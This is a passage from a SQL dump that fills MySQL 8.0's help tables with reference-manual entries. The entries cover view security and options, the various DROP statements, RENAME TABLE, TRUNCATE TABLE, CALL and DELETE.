sec)\n\nmysql> SELECT \"mycol\" FROM v;\n+-------+\n| mycol |\n+-------+\n| mycol |\n+-------+\n1 row in set (0.01 sec)\n\nmysql> SET sql_mode = \'ANSI_QUOTES\';\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> SELECT \"mycol\" FROM v;\n+-------+\n| mycol |\n+-------+\n| abc |\n+-------+\n1 row in set (0.00 sec)\n\nThe DEFINER and SQL SECURITY clauses determine which MySQL account to\nuse when checking access privileges for the view when a statement is\nexecuted that references the view. The valid SQL SECURITY\ncharacteristic values are DEFINER (the default) and INVOKER. These\nindicate that the required privileges must be held by the user who\ndefined or invoked the view, respectively.\n\nIf the DEFINER clause is present, the user value should be a MySQL\naccount specified as \'user_name\'@\'host_name\', CURRENT_USER, or\nCURRENT_USER(). The permitted user values depend on the privileges you\nhold, as discussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-objects-security.html.\nAlso see that section for additional information about view security.\n\nIf the DEFINER clause is omitted, the default definer is the user who\nexecutes the CREATE VIEW statement. This is the same as specifying\nDEFINER = CURRENT_USER explicitly.\n\nWithin a view definition, the CURRENT_USER function returns the view\'s\nDEFINER value by default. For views defined with the SQL SECURITY\nINVOKER characteristic, CURRENT_USER returns the account for the view\'s\ninvoker. For information about user auditing within views, see\nhttps://dev.mysql.com/doc/refman/8.0/en/account-activity-auditing.html.\n\nWithin a stored routine that is defined with the SQL SECURITY DEFINER\ncharacteristic, CURRENT_USER returns the routine\'s DEFINER value. This\nalso affects a view defined within such a routine, if the view\ndefinition contains a DEFINER value of CURRENT_USER.\n\nMySQL checks view privileges like this:\n\no At view definition time, the view creator must have the privileges\n needed to use the top-level objects accessed by the view. For\n example, if the view definition refers to table columns, the creator\n must have some privilege for each column in the select list of the\n definition, and the SELECT privilege for each column used elsewhere\n in the definition. If the definition refers to a stored function,\n only the privileges needed to invoke the function can be checked. The\n privileges required at function invocation time can be checked only\n as it executes: For different invocations, different execution paths\n within the function might be taken.\n\no The user who references a view must have appropriate privileges to\n access it (SELECT to select from it, INSERT to insert into it, and so\n forth.)\n\no When a view has been referenced, privileges for objects accessed by\n the view are checked against the privileges held by the view DEFINER\n account or invoker, depending on whether the SQL SECURITY\n characteristic is DEFINER or INVOKER, respectively.\n\no If reference to a view causes execution of a stored function,\n privilege checking for statements executed within the function depend\n on whether the function SQL SECURITY characteristic is DEFINER or\n INVOKER. If the security characteristic is DEFINER, the function runs\n with the privileges of the DEFINER account. If the characteristic is\n INVOKER, the function runs with the privileges determined by the\n view\'s SQL SECURITY characteristic.\n\nExample: A view might depend on a stored function, and that function\nmight invoke other stored routines. For example, the following view\ninvokes a stored function f():\n\nCREATE VIEW v AS SELECT * FROM t WHERE t.id = f(t.name);\n\nSuppose that f() contains a statement such as this:\n\nIF name IS NULL then\n CALL p1();\nELSE\n CALL p2();\nEND IF;\n\nThe privileges required for executing statements within f() need to be\nchecked when f() executes. This might mean that privileges are needed\nfor p1() or p2(), depending on the execution path within f(). Those\nprivileges must be checked at runtime, and the user who must possess\nthe privileges is determined by the SQL SECURITY values of the view v\nand the function f().\n\nThe DEFINER and SQL SECURITY clauses for views are extensions to\nstandard SQL. In standard SQL, views are handled using the rules for\nSQL SECURITY DEFINER. The standard says that the definer of the view,\nwhich is the same as the owner of the view\'s schema, gets applicable\nprivileges on the view (for example, SELECT) and may grant them. MySQL\nhas no concept of a schema \"owner\", so MySQL adds a clause to identify\nthe definer. The DEFINER clause is an extension where the intent is to\nhave what the standard has; that is, a permanent record of who defined\nthe view. This is why the default DEFINER value is the account of the\nview creator.\n\nThe optional ALGORITHM clause is a MySQL extension to standard SQL. It\naffects how MySQL processes the view. ALGORITHM takes three values:\nMERGE, TEMPTABLE, or UNDEFINED. For more information, see\nhttps://dev.mysql.com/doc/refman/8.0/en/view-algorithms.html, as well\nas\nhttps://dev.mysql.com/doc/refman/8.0/en/derived-table-optimization.html\n.\n\nSome views are updatable. That is, you can use them in statements such\nas UPDATE, DELETE, or INSERT to update the contents of the underlying\ntable. For a view to be updatable, there must be a one-to-one\nrelationship between the rows in the view and the rows in the\nunderlying table. There are also certain other constructs that make a\nview nonupdatable.\n\nA generated column in a view is considered updatable because it is\npossible to assign to it. However, if such a column is updated\nexplicitly, the only permitted value is DEFAULT. For information about\ngenerated columns, see\nhttps://dev.mysql.com/doc/refman/8.0/en/create-table-generated-columns.\nhtml.\n\nThe WITH CHECK OPTION clause can be given for an updatable view to\nprevent inserts or updates to rows except those for which the WHERE\nclause in the select_statement is true.\n\nIn a WITH CHECK OPTION clause for an updatable view, the LOCAL and\nCASCADED keywords determine the scope of check testing when the view is\ndefined in terms of another view. The LOCAL keyword restricts the CHECK\nOPTION only to the view being defined. CASCADED causes the checks for\nunderlying views to be evaluated as well. When neither keyword is\ngiven, the default is CASCADED.\n\nFor more information about updatable views and the WITH CHECK OPTION\nclause, see\nhttps://dev.mysql.com/doc/refman/8.0/en/view-updatability.html, and\nhttps://dev.mysql.com/doc/refman/8.0/en/view-check-option.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/create-view.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/create-view.html'),(529,'DROP DATABASE',40,'Syntax:\nDROP {DATABASE | SCHEMA} [IF EXISTS] db_name\n\nDROP DATABASE drops all tables in the database and deletes the\ndatabase. Be very careful with this statement! To use DROP DATABASE,\nyou need the DROP privilege on the database. DROP SCHEMA is a synonym\nfor DROP DATABASE.\n\n*Important*:\n\nWhen a database is dropped, privileges granted specifically for the\ndatabase are not automatically dropped. They must be dropped manually.\nSee [HELP GRANT].\n\nIF EXISTS is used to prevent an error from occurring if the database\ndoes not exist.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/drop-database.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/drop-database.html'),(530,'DROP SCHEMA',40,'Syntax:\nDROP {DATABASE | SCHEMA} [IF EXISTS] db_name\n\nDROP DATABASE drops all tables in the database and deletes the\ndatabase. Be very careful with this statement! To use DROP DATABASE,\nyou need the DROP privilege on the database. DROP SCHEMA is a synonym\nfor DROP DATABASE.\n\n*Important*:\n\nWhen a database is dropped, privileges granted specifically for the\ndatabase are not automatically dropped. They must be dropped manually.\nSee [HELP GRANT].\n\nIF EXISTS is used to prevent an error from occurring if the database\ndoes not exist.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/drop-database.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/drop-database.html'),(531,'DROP EVENT',40,'Syntax:\nDROP EVENT [IF EXISTS] event_name\n\nThis statement drops the event named event_name. The event immediately\nceases being active, and is deleted completely from the server.\n\nIf the event does not exist, the error ERROR 1517 (HY000): Unknown\nevent \'event_name\' results. You can override this and cause the\nstatement to generate a warning for nonexistent events instead using IF\nEXISTS.\n\nThis statement requires the EVENT privilege for the schema to which the\nevent to be dropped belongs.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/drop-event.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/drop-event.html'),(532,'DROP INDEX',40,'Syntax:\nDROP INDEX index_name ON tbl_name\n [algorithm_option | lock_option] ...\n\nalgorithm_option:\n ALGORITHM [=] {DEFAULT | INPLACE | COPY}\n\nlock_option:\n LOCK [=] {DEFAULT | NONE | SHARED | EXCLUSIVE}\n\nDROP INDEX drops the index named index_name from the table tbl_name.\nThis statement is mapped to an ALTER TABLE statement to drop the index.\nSee [HELP ALTER TABLE].\n\nTo drop a primary key, the index name is always PRIMARY, which must be\nspecified as a quoted identifier because PRIMARY is a reserved word:\n\nDROP INDEX `PRIMARY` ON t;\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/drop-index.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/drop-index.html'),(533,'DROP PROCEDURE',40,'Syntax:\nDROP {PROCEDURE | FUNCTION} [IF EXISTS] sp_name\n\nThese statements are used to drop a stored routine (a stored procedure\nor function). That is, the specified routine is removed from the\nserver. (DROP FUNCTION is also used to drop loadable functions; see\n[HELP DROP FUNCTION loadable function].)\n\nTo drop a stored routine, you must have the ALTER ROUTINE privilege for\nit. (If the automatic_sp_privileges system variable is enabled, that\nprivilege and EXECUTE are granted automatically to the routine creator\nwhen the routine is created and dropped from the creator when the\nroutine is dropped. See\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-routines-privileges.html\n.)\n\nIn addition, if the definer of the routine has the SYSTEM_USER\nprivilege, the user dropping it must also have this privilege. This is\nenforced in MySQL 8.0.16 and later.\n\nThe IF EXISTS clause is a MySQL extension. It prevents an error from\noccurring if the procedure or function does not exist. A warning is\nproduced that can be viewed with SHOW WARNINGS.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/drop-procedure.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/drop-procedure.html'),(534,'DROP FUNCTION',40,'Syntax:\nDROP {PROCEDURE | FUNCTION} [IF EXISTS] sp_name\n\nThese statements are used to drop a stored routine (a stored procedure\nor function). That is, the specified routine is removed from the\nserver. (DROP FUNCTION is also used to drop loadable functions; see\n[HELP DROP FUNCTION loadable function].)\n\nTo drop a stored routine, you must have the ALTER ROUTINE privilege for\nit. (If the automatic_sp_privileges system variable is enabled, that\nprivilege and EXECUTE are granted automatically to the routine creator\nwhen the routine is created and dropped from the creator when the\nroutine is dropped. See\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-routines-privileges.html\n.)\n\nIn addition, if the definer of the routine has the SYSTEM_USER\nprivilege, the user dropping it must also have this privilege. This is\nenforced in MySQL 8.0.16 and later.\n\nThe IF EXISTS clause is a MySQL extension. It prevents an error from\noccurring if the procedure or function does not exist. A warning is\nproduced that can be viewed with SHOW WARNINGS.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/drop-procedure.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/drop-procedure.html'),(535,'DROP SERVER',40,'Syntax:\nDROP SERVER [ IF EXISTS ] server_name\n\nDrops the server definition for the server named server_name. The\ncorresponding row in the mysql.servers table is deleted. This statement\nrequires the SUPER privilege.\n\nDropping a server for a table does not affect any FEDERATED tables that\nused this connection information when they were created. See [HELP\nCREATE SERVER].\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/drop-server.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/drop-server.html'),(536,'DROP SPATIAL REFERENCE SYSTEM',40,'Syntax:\nDROP SPATIAL REFERENCE SYSTEM\n [IF EXISTS]\n srid\n\nsrid: 32-bit unsigned integer\n\nThis statement removes a spatial reference system (SRS) definition from\nthe data dictionary. It requires the SUPER privilege.\n\nExample:\n\nDROP SPATIAL REFERENCE SYSTEM 4120;\n\nIf no SRS definition with the SRID value exists, an error occurs unless\nIF EXISTS is specified. In that case, a warning occurs rather than an\nerror.\n\nIf the SRID value is used by some column in an existing table, an error\noccurs. For example:\n\nmysql> DROP SPATIAL REFERENCE SYSTEM 4326;\nERROR 3716 (SR005): Can\'t modify SRID 4326. There is at\nleast one column depending on it.\n\nTo identify which column or columns use the SRID, use this query:\n\nSELECT * FROM INFORMATION_SCHEMA.ST_GEOMETRY_COLUMNS WHERE SRS_ID=4326;\n\nSRID values must be in the range of 32-bit unsigned integers, with\nthese restrictions:\n\no SRID 0 is a valid SRID but cannot be used with DROP SPATIAL REFERENCE\n SYSTEM.\n\no If the value is in a reserved SRID range, a warning occurs. Reserved\n ranges are [0, 32767] (reserved by EPSG), [60,000,000, 69,999,999]\n (reserved by EPSG), and [2,000,000,000, 2,147,483,647] (reserved by\n MySQL). EPSG stands for the European Petroleum Survey Group\n (http://epsg.org).\n\no Users should not drop SRSs with SRIDs in the reserved ranges. If\n system-installed SRSs are dropped, the SRS definitions may be\n recreated for MySQL upgrades.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/drop-spatial-reference-system.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/drop-spatial-reference-system.html'),(537,'DROP TABLE',40,'Syntax:\nDROP [TEMPORARY] TABLE [IF EXISTS]\n tbl_name [, tbl_name] ...\n [RESTRICT | CASCADE]\n\nDROP TABLE removes one or more tables. You must have the DROP privilege\nfor each table.\n\nBe careful with this statement! For each table, it removes the table\ndefinition and all table data. If the table is partitioned, the\nstatement removes the table definition, all its partitions, all data\nstored in those partitions, and all partition definitions associated\nwith the dropped table.\n\nDropping a table also drops any triggers for the table.\n\nDROP TABLE causes an implicit commit, except when used with the\nTEMPORARY keyword. See\nhttps://dev.mysql.com/doc/refman/8.0/en/implicit-commit.html.\n\n*Important*:\n\nWhen a table is dropped, privileges granted specifically for the table\nare not automatically dropped. They must be dropped manually. See [HELP\nGRANT].\n\nIf any tables named in the argument list do not exist, DROP TABLE\nbehavior depends on whether the IF EXISTS clause is given:\n\no Without IF EXISTS, the statement fails with an error indicating which\n nonexisting tables it was unable to drop, and no changes are made.\n\no With IF EXISTS, no error occurs for nonexisting tables. The statement\n drops all named tables that do exist, and generates a NOTE diagnostic\n for each nonexistent table. These notes can be displayed with SHOW\n WARNINGS. See [HELP SHOW WARNINGS].\n\nIF EXISTS can also be useful for dropping tables in unusual\ncircumstances under which there is an entry in the data dictionary but\nno table managed by the storage engine. (For example, if an abnormal\nserver exit occurs after removal of the table from the storage engine\nbut before removal of the data dictionary entry.)\n\nThe TEMPORARY keyword has the following effects:\n\no The statement drops only TEMPORARY tables.\n\no The statement does not cause an implicit commit.\n\no No access rights are checked. A TEMPORARY table is visible only with\n the session that created it, so no check is necessary.\n\nIncluding the TEMPORARY keyword is a good way to prevent accidentally\ndropping non-TEMPORARY tables.\n\nThe RESTRICT and CASCADE keywords do nothing. They are permitted to\nmake porting easier from other database systems.\n\nDROP TABLE is not supported with all innodb_force_recovery settings.\nSee\nhttps://dev.mysql.com/doc/refman/8.0/en/forcing-innodb-recovery.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/drop-table.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/drop-table.html'),(538,'DROP TABLESPACE',40,'Syntax:\nDROP [UNDO] TABLESPACE tablespace_name\n [ENGINE [=] engine_name]\n\nThis statement drops a tablespace that was previously created using\nCREATE TABLESPACE. It is supported by the NDB and InnoDB storage\nengines.\n\nThe UNDO keyword, introduced in MySQL 8.0.14, must be specified to drop\nan undo tablespace. Only undo tablespaces created using CREATE UNDO\nTABLESPACE syntax can be dropped. An undo tablespace must be in an\nempty state before it can be dropped. For more information, see\nhttps://dev.mysql.com/doc/refman/8.0/en/innodb-undo-tablespaces.html.\n\nENGINE sets the storage engine that uses the tablespace, where\nengine_name is the name of the storage engine. Currently, the values\nInnoDB and NDB are supported. If not set, the value of\ndefault_storage_engine is used. If it is not the same as the storage\nengine used to create the tablespace, the DROP TABLESPACE statement\nfails.\n\ntablespace_name is a case-sensitive identifier in MySQL.\n\nFor an InnoDB general tablespace, all tables must be dropped from the\ntablespace prior to a DROP TABLESPACE operation. If the tablespace is\nnot empty, DROP TABLESPACE returns an error.\n\nAn NDB tablespace to be dropped must not contain any data files; in\nother words, before you can drop an NDB tablespace, you must first drop\neach of its data files using ALTER TABLESPACE ... DROP DATAFILE.\n\nNotes\n\no A general InnoDB tablespace is not deleted automatically when the\n last table in the tablespace is dropped. The tablespace must be\n dropped explicitly using DROP TABLESPACE tablespace_name.\n\no A DROP DATABASE operation can drop tables that belong to a general\n tablespace but it cannot drop the tablespace, even if the operation\n drops all tables that belong to the tablespace. The tablespace must\n be dropped explicitly using DROP TABLESPACE tablespace_name.\n\no Similar to the system tablespace, truncating or dropping tables\n stored in a general tablespace creates free space internally in the\n general tablespace .ibd data file which can only be used for new\n InnoDB data. Space is not released back to the operating system as it\n is for file-per-table tablespaces.\n\nInnoDB Examples\n\nThis example demonstrates how to drop an InnoDB general tablespace. The\ngeneral tablespace ts1 is created with a single table. Before dropping\nthe tablespace, the table must be dropped.\n\nmysql> CREATE TABLESPACE `ts1` ADD DATAFILE \'ts1.ibd\' Engine=InnoDB;\n\nmysql> CREATE TABLE t1 (c1 INT PRIMARY KEY) TABLESPACE ts1 Engine=InnoDB;\n\nmysql> DROP TABLE t1;\n\nmysql> DROP TABLESPACE ts1;\n\nThis example demonstrates dropping an undo tablespace. An undo\ntablespace must be in an empty state before it can be dropped. For more\ninformation, see\nhttps://dev.mysql.com/doc/refman/8.0/en/innodb-undo-tablespaces.html.\n\nmysql> DROP UNDO TABLESPACE undo_003;\n\nNDB Example\n\nThis example shows how to drop an NDB tablespace myts having a data\nfile named mydata-1.dat after first creating the tablespace, and\nassumes the existence of a log file group named mylg (see [HELP CREATE\nLOGFILE GROUP]).\n\nmysql> CREATE TABLESPACE myts\n -> ADD DATAFILE \'mydata-1.dat\'\n -> USE LOGFILE GROUP mylg\n -> ENGINE=NDB;\n\nYou must remove all data files from the tablespace using ALTER\nTABLESPACE, as shown here, before it can be dropped:\n\nmysql> ALTER TABLESPACE myts\n -> DROP DATAFILE \'mydata-1.dat\'\n -> ENGINE=NDB;\n\nmysql> DROP TABLESPACE myts;\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/drop-tablespace.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/drop-tablespace.html'),(539,'DROP TRIGGER',40,'Syntax:\nDROP TRIGGER [IF EXISTS] [schema_name.]trigger_name\n\nThis statement drops a trigger. The schema (database) name is optional.\nIf the schema is omitted, the trigger is dropped from the default\nschema. DROP TRIGGER requires the TRIGGER privilege for the table\nassociated with the trigger.\n\nUse IF EXISTS to prevent an error from occurring for a trigger that\ndoes not exist. A NOTE is generated for a nonexistent trigger when\nusing IF EXISTS. See [HELP SHOW WARNINGS].\n\nTriggers for a table are also dropped if you drop the table.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/drop-trigger.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/drop-trigger.html'),(540,'DROP VIEW',40,'Syntax:\nDROP VIEW [IF EXISTS]\n view_name [, view_name] ...\n [RESTRICT | CASCADE]\n\nDROP VIEW removes one or more views. You must have the DROP privilege\nfor each view.\n\nIf any views named in the argument list do not exist, the statement\nfails with an error indicating by name which nonexisting views it was\nunable to drop, and no changes are made.\n\n*Note*:\n\nIn MySQL 5.7 and earlier, DROP VIEW returns an error if any views named\nin the argument list do not exist, but also drops all views in the list\nthat do exist. Due to the change in behavior in MySQL 8.0, a partially\ncompleted DROP VIEW operation on a MySQL 5.7 replication source server\nfails when replicated on a MySQL 8.0 replica. To avoid this failure\nscenario, use IF EXISTS syntax in DROP VIEW statements to prevent an\nerror from occurring for views that do not exist. For more information,\nsee https://dev.mysql.com/doc/refman/8.0/en/atomic-ddl.html.\n\nThe IF EXISTS clause prevents an error from occurring for views that\ndon\'t exist. When this clause is given, a NOTE is generated for each\nnonexistent view. See [HELP SHOW WARNINGS].\n\nRESTRICT and CASCADE, if given, are parsed and ignored.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/drop-view.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/drop-view.html'),(541,'RENAME TABLE',40,'Syntax:\nRENAME TABLE\n tbl_name TO new_tbl_name\n [, tbl_name2 TO new_tbl_name2] ...\n\nRENAME TABLE renames one or more tables. You must have ALTER and DROP\nprivileges for the original table, and CREATE and INSERT privileges for\nthe new table.\n\nFor example, to rename a table named old_table to new_table, use this\nstatement:\n\nRENAME TABLE old_table TO new_table;\n\nThat statement is equivalent to the following ALTER TABLE statement:\n\nALTER TABLE old_table RENAME new_table;\n\nRENAME TABLE, unlike ALTER TABLE, can rename multiple tables within a\nsingle statement:\n\nRENAME TABLE old_table1 TO new_table1,\n old_table2 TO new_table2,\n old_table3 TO new_table3;\n\nRenaming operations are performed left to right. Thus, to swap two\ntable names, do this (assuming that a table with the intermediary name\ntmp_table does not already exist):\n\nRENAME TABLE old_table TO tmp_table,\n new_table TO old_table,\n tmp_table TO new_table;\n\nMetadata locks on tables are acquired in name order, which in some\ncases can make a difference in operation outcome when multiple\ntransactions execute concurrently. See\nhttps://dev.mysql.com/doc/refman/8.0/en/metadata-locking.html.\n\nAs of MySQL 8.0.13, you can rename tables locked with a LOCK TABLES\nstatement, provided that they are locked with a WRITE lock or are the\nproduct of renaming WRITE-locked tables from earlier steps in a\nmultiple-table rename operation. For example, this is permitted:\n\nLOCK TABLE old_table1 WRITE;\nRENAME TABLE old_table1 TO new_table1,\n new_table1 TO new_table2;\n\nThis is not permitted:\n\nLOCK TABLE old_table1 READ;\nRENAME TABLE old_table1 TO new_table1,\n new_table1 TO new_table2;\n\nPrior to MySQL 8.0.13, to execute RENAME TABLE, there must be no tables\nlocked with LOCK TABLES.\n\nWith the transaction table locking conditions satisfied, the rename\noperation is done atomically; no other session can access any of the\ntables while the rename is in progress.\n\nIf any errors occur during a RENAME TABLE, the statement fails and no\nchanges are made.\n\nYou can use RENAME TABLE to move a table from one database to another:\n\nRENAME TABLE current_db.tbl_name TO other_db.tbl_name;\n\nUsing this method to move all tables from one database to a different\none in effect renames the database (an operation for which MySQL has no\nsingle statement), except that the original database continues to\nexist, albeit with no tables.\n\nLike RENAME TABLE, ALTER TABLE ... RENAME can also be used to move a\ntable to a different database. Regardless of the statement used, if the\nrename operation would move the table to a database located on a\ndifferent file system, the success of the outcome is platform specific\nand depends on the underlying operating system calls used to move table\nfiles.\n\nIf a table has triggers, attempts to rename the table into a different\ndatabase fail with a Trigger in wrong schema (ER_TRG_IN_WRONG_SCHEMA\n(https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference.html\n#error_er_trg_in_wrong_schema)) error.\n\nAn unencrypted table can be moved to an encryption-enabled database and\nvice versa. However, if the table_encryption_privilege_check variable\nis enabled, the TABLE_ENCRYPTION_ADMIN privilege is required if the\ntable encryption setting differs from the default database encryption.\n\nTo rename TEMPORARY tables, RENAME TABLE does not work. Use ALTER TABLE\ninstead.\n\nRENAME TABLE works for views, except that views cannot be renamed into\na different database.\n\nAny privileges granted specifically for a renamed table or view are not\nmigrated to the new name. They must be changed manually.\n\nRENAME TABLE tbl_name TO new_tbl_name changes internally generated\nforeign key constraint names and user-defined foreign key constraint\nnames that begin with the string \"tbl_name_ibfk_\" to reflect the new\ntable name. InnoDB interprets foreign key constraint names that begin\nwith the string \"tbl_name_ibfk_\" as internally generated names.\n\nForeign key constraint names that point to the renamed table are\nautomatically updated unless there is a conflict, in which case the\nstatement fails with an error. A conflict occurs if the renamed\nconstraint name already exists. In such cases, you must drop and\nre-create the foreign keys for them to function properly.\n\nRENAME TABLE tbl_name TO new_tbl_name changes internally generated and\nuser-defined CHECK constraint names that begin with the string\n\"tbl_name_chk_\" to reflect the new table name. MySQL interprets CHECK\nconstraint names that begin with the string \"tbl_name_chk_\" as\ninternally generated names. Example:\n\nmysql> SHOW CREATE TABLE t1\\G\n*************************** 1. row ***************************\n Table: t1\nCreate Table: CREATE TABLE `t1` (\n `i1` int(11) DEFAULT NULL,\n `i2` int(11) DEFAULT NULL,\n CONSTRAINT `t1_chk_1` CHECK ((`i1` > 0)),\n CONSTRAINT `t1_chk_2` CHECK ((`i2` < 0))\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci\n1 row in set (0.02 sec)\n\nmysql> RENAME TABLE t1 TO t3;\nQuery OK, 0 rows affected (0.03 sec)\n\nmysql> SHOW CREATE TABLE t3\\G\n*************************** 1. row ***************************\n Table: t3\nCreate Table: CREATE TABLE `t3` (\n `i1` int(11) DEFAULT NULL,\n `i2` int(11) DEFAULT NULL,\n CONSTRAINT `t3_chk_1` CHECK ((`i1` > 0)),\n CONSTRAINT `t3_chk_2` CHECK ((`i2` < 0))\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci\n1 row in set (0.01 sec)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/rename-table.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/rename-table.html'),(542,'TRUNCATE TABLE',40,'Syntax:\nTRUNCATE [TABLE] tbl_name\n\nTRUNCATE TABLE empties a table completely. It requires the DROP\nprivilege. Logically, TRUNCATE TABLE is similar to a DELETE statement\nthat deletes all rows, or a sequence of DROP TABLE and CREATE TABLE\nstatements.\n\nTo achieve high performance, TRUNCATE TABLE bypasses the DML method of\ndeleting data. Thus, it does not cause ON DELETE triggers to fire, it\ncannot be performed for InnoDB tables with parent-child foreign key\nrelationships, and it cannot be rolled back like a DML operation.\nHowever, TRUNCATE TABLE operations on tables that use a storage engine\nwhich supports atomic DDL are either fully committed or rolled back if\nthe server halts during their operation. For more information, see\nhttps://dev.mysql.com/doc/refman/8.0/en/atomic-ddl.html.\n\nAlthough TRUNCATE TABLE is similar to DELETE, it is classified as a DDL\nstatement rather than a DML statement. It differs from DELETE in the\nfollowing ways:\n\no Truncate operations drop and re-create the table, which is much\n faster than deleting rows one by one, particularly for large tables.\n\no Truncate operations cause an implicit commit, and so cannot be rolled\n back. See\n https://dev.mysql.com/doc/refman/8.0/en/implicit-commit.html.\n\no Truncation operations cannot be performed if the session holds an\n active table lock.\n\no TRUNCATE TABLE fails for an InnoDB table or NDB table if there are\n any FOREIGN KEY constraints from other tables that reference the\n table. Foreign key constraints between columns of the same table are\n permitted.\n\no Truncation operations do not return a meaningful value for the number\n of deleted rows. The usual result is \"0 rows affected,\" which should\n be interpreted as \"no information.\"\n\no As long as the table definition is valid, the table can be re-created\n as an empty table with TRUNCATE TABLE, even if the data or index\n files have become corrupted.\n\no Any AUTO_INCREMENT value is reset to its start value. This is true\n even for MyISAM and InnoDB, which normally do not reuse sequence\n values.\n\no When used with partitioned tables, TRUNCATE TABLE preserves the\n partitioning; that is, the data and index files are dropped and\n re-created, while the partition definitions are unaffected.\n\no The TRUNCATE TABLE statement does not invoke ON DELETE triggers.\n\no Truncating a corrupted InnoDB table is supported.\n\nTRUNCATE TABLE is treated for purposes of binary logging and\nreplication as DDL rather than DML, and is always logged as a\nstatement.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/truncate-table.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/truncate-table.html'),(543,'CALL',41,'Syntax:\nCALL sp_name([parameter[,...]])\nCALL sp_name[()]\n\nThe CALL statement invokes a stored procedure that was defined\npreviously with CREATE PROCEDURE.\n\nStored procedures that take no arguments can be invoked without\nparentheses. That is, CALL p() and CALL p are equivalent.\n\nCALL can pass back values to its caller using parameters that are\ndeclared as OUT or INOUT parameters. When the procedure returns, a\nclient program can also obtain the number of rows affected for the\nfinal statement executed within the routine: At the SQL level, call the\nROW_COUNT() function; from the C API, call the mysql_affected_rows()\n(https://dev.mysql.com/doc/c-api/8.0/en/mysql-affected-rows.html)\nfunction.\n\nFor information about the effect of unhandled conditions on procedure\nparameters, see\nhttps://dev.mysql.com/doc/refman/8.0/en/conditions-and-parameters.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/call.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/call.html'),(544,'DELETE',41,'Syntax:\nDELETE is a DML statement that removes rows from a table.\n\nA DELETE statement can start with a WITH clause to define common table\nexpressions accessible within the DELETE. See\nhttps://dev.mysql.com/doc/refman/8.0/en/with.html.\n\nSingle-Table Syntax\n\nDELETE [LOW_PRIORITY] [QUICK] [IGNORE] FROM tbl_name [[AS] tbl_alias]\n [PARTITION (partition_name [, partition_name] ...)]\n [WHERE where_condition]\n [ORDER BY ...]\n [LIMIT row_count]\n\nThe DELETE statement deletes rows from tbl_name and returns the number\nof deleted rows. To check the number of deleted rows, call the\nROW_COUNT() function described in\nhttps://dev.mysql.com/doc/refman/8.0/en/information-functions.html.\n\nMain Clauses\n\nThe conditions in the optional WHERE clause identify which rows to\ndelete. With no WHERE clause, all rows are deleted.\n\nwhere_condition is an expression that evaluates to true for each row to\nbe deleted. It is specified as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/select.html.\n\nIf the ORDER BY clause is specified, the rows are deleted in the order\nthat is specified. The LIMIT clause places a limit on the number of\nrows that can be deleted. These clauses apply to single-table deletes,\nbut not multi-table deletes.\n\nMultiple-Table Syntax\n\nDELETE [LOW_PRIORITY] [QUICK] [IGNORE]\n tbl_name[.*] [, tbl_name[.*]] ...\n FROM table_references\n [WHERE where_condition]\n\nDELETE [LOW_PRIORITY] [QUICK] [IGNORE]\n FROM tbl_name[.*] [, tbl_name[.*]] ...\n USING table_references\n [WHERE where_condition]\n\nPrivileges\n\nYou need the DELETE privilege on a table to delete rows from it. You\nneed only the SELECT privilege for any columns that are only read, such\nas those named in the WHERE clause.\n\nPerformance\n\nWhen you do not need to know the number of deleted rows, the TRUNCATE\nTABLE statement is a faster way to empty a table than a DELETE\nstatement with no WHERE clause. Unlike DELETE, TRUNCATE TABLE cannot be\nused within a transaction or if you have a lock on the table. See [HELP\nTRUNCATE TABLE] and [HELP LOCK TABLES].\n\nThe speed of delete operations may also be affected by factors\ndiscussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/delete-optimization.html.\n\nTo ensure that a given DELETE statement does not take too much time,\nthe MySQL-specific LIMIT row_count clause for DELETE specifies the\nmaximum number of rows to be deleted. If the number of rows to delete\nis larger than the limit, repeat the DELETE statement until the number\nof affected rows is less than the LIMIT value.\n\nSubqueries\n\nYou cannot delete from a table and select from the same table in a\nsubquery.\n\nPartitioned Table Support\n\nDELETE supports explicit partition selection using the PARTITION\nclause, which takes a list of the comma-separated names of one or more\npartitions or subpartitions (or both) from which to select rows to be\ndropped. Partitions not included in the list are ignored. Given a\npartitioned table t with a partition named p0, executing the statement\nDELETE FROM t PARTITION (p0) has the same effect on the table as\nexecuting ALTER TABLE t TRUNCATE PARTITION (p0); in both cases, all\nrows in partition p0 are dropped.\n\nPARTITION can be used along with a WHERE condition, in which case the\ncondition is tested only on rows in the listed partitions. For example,\nDELETE FROM t 